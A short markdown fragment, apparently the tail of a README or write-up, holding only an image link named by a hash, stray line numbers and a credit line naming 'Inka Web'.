![a483d1e7956a2d1010b235d5bef846c6]() 12 | 13 | 14 | ## Credit [ Inka Web ] 15 | --------------------------------------------------------------------------------